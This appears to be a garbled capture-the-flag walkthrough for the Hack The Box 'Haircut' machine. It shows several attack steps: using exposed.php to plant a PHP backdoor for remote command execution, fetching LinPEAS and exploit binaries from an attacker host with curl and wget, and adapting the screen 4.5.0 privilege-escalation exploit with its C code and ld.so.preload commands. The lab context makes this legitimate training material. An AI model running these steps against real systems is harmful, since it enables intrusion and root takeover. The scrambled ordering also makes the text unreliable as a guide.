## Haircut

**Nmap** Straightforward nmapscan. It's an easy box, so it's unlikely to have more ports than 22 and 80. nmap -T5 -Pn -p- 10.10.10.24 > nmap.txt Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 09:20 EDT Nmap scan report for 10.10.10.24 Host is up (0.022s latency). Not shown: 65533 closed ports STATE SERVICE PORT

Haircut

🐧 Linux 🕀 30 # 1713 各 2068

22/tcp open ssh

http

80/tcp open

Webpage

We're met with this webpage. Going into page source says the image name is 'bounce'. Could be a potential hint for username/password, so note that down. HTB Hairdresse  $\rightarrow$  G  $\bullet$ ① 10.10.10.24 . Kali Training 🥆 Kali Tools 🦴 Kali Docs 🥆 Kali Forums 🥆 NetHunter 👖 Offensive Security 🝬 Exploit-DB 🝬 GHDB 👖 MSFU

Reverse proxies

Nginx 1.10.0

Operating systems

Searchsploit didn't have anything useful for us in the way of vulnerabilities for this verison, so let's use dirbuster. The results included: /test.html - the image was called *carrie*...note this down /hair.html - image called sea...note this down too. /exposed.php - now this looks damn juicy

Go

an inaccessible /uploads/ directory

Kali Linux 🛝 Kali Training 🛝 Kali Tools 🛝 Kali Docs 🛝 Kali Forums 🛝 NetHunter 👖 Offensive Security Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html

Testing the go button, it looks like it's almost downloading something. I create a php reverse shell and python host it on my kali, and then put the http request in this search bar. However it didn't seem to work.

(i) 10.10.10.24/exposed.php

webpage. You can get a php backdoor from your kali at /usr/share/webshells/php/simple-backdoor.php In the search field input <a href="http://[yourIP]:8000/simple-backdoor.php">http://[yourIP]:8000/simple-backdoor.php</a> -o uploads/simplebackdoor.php

However, we may be able to tell the machine where we want our file to be download and saved to,

using the -o command. Let's try it with a php backdoor, and get remote code execution on the

10.10.10.24/exposed 🔍 Kali Linux 🤼 Kali Training 🤼 Kali Tools 🥄 Kali Docs Enter the Hairdresser's location you would like t

Go

Requesting Site... then go to http://10.10.10.24/uploads/simplebackdoor.php , and you'll be met with a screen that advises you on the usage of the php backdoor. Try a simple ?cmd=whoami in the url. ① 10.10.10.24/uploads/simplebackdoor.php?cmd=whoami Kali Linux 🛝 Kali Training 🛝 Kali Tools 🛝 Kali Docs 🥄 Kali Forums 🛝 NetHunter 👖 Off www-data Using this method, you could even go and get a **user flag** if you wnated. However it's super limited. So

www-data@haircut:/\$ whoami

Average Speed

Dload Upload

1472k

Time

Current

Time

www-data@haircut:/\$

o uploads/simplebackdoor.php

211k 100

Get it started and output the results to a file via: ./linpeas.sh > lin.txt. There doesn't seem to be anything too interesting in the results however Manual enumeration (i) I found out afterwards that LinEnum.sh does find /usr/bin/screen-4.5.0, so the lesson

/usr/bin/pkexec /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/newgidmap /usr/bin/gpasswd /usr/bin/at

This is the exploit we'll be working with. It doesn't work perfectly, so we'll need to adapt it:

**Second,** manually create a file called rootshell, extracting the code a little further down:

https://www.exploit-db.com/exploits/41154. We'll need to add snippets of the script to different files

\_\_attribute\_\_ ((\_\_constructor\_\_)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload");

10 }

execvp("/bin/sh", NULL, NULL); 8 } **Third**, we need to compile this C code into something the target machine can understand, so use: gcc -o rootshell rootshell.c #and then the same for libhax gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c **Fourth,** wget them onto the target machine, in the /tmp/ folder

**Fifth,** cd over to /etc/ and then run these commands, which we've got from different parts of the exploit:

the terminal will look blank, but you should have a root shell, try whoami whoami root

2 screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

Web servers

Let's see what Wapalyzer tells us:

Opening 1.10.0

Ubuntu

**Exposed.php** 

http://localhost/test.html

let's re-upload a reverse php shell, and fire up netcat

www-data shell

whoami

www-data

% Received % Xferd

here is try multiple scripts and pay attention!

211k

If you haven't already, go and get your user flag and then come back and let's priv esc. **Enumeration tools** Let's upload LinPEAS, the enumeration tool. Host it on your kali, and then upload it to the /tmp/ directory on the victim machine via:

curl http://10.10.14.24:8000/linpeas.sh -o /tmp/linpeas.sh www-data@haircut:/tmp\$ curl http://10.10.14.24:8000/linpeas.sh -o /tmp/linpeas.sh < http://10.10.14.24:8000/linpeas.sh -o /tmp/linpeas.sh

Let's go around the box ourselves, being guided by a linux privesc script. Most of the guides will eventually advise us to use this command: find / -perm -4000 2>/dev/null or some variant, which will result in: www-data@haircut:/\$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /bin/ntfs-3g

/bin/ping6

/bin/mount

/bin/umount

/usr/bin/sudo

Screen 4.5.0 Exploit

and run the commands ourselves:

#include <stdio.h>

#include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0);

3 #include <unistd.h>

#include <sys/types.h>

printf("[+] done!\n");

/bin/ping

/bin/su

/bin/fusermount

/usr/bin/passwd /usr/bin/screen-4.5.0

First, let's manually create a file in our kali called libhax.c. We're taking all of this from the section of the script after <<cat , and just at the }

3 screen -ls /tmp/rootshell

umask 000

cat /root/root.txt 4cfa26d84b2220826a07f0697dc72151

wget http://10.10.14.24:8000/libhax.so wget http://10.10.14.24:8000/rootshell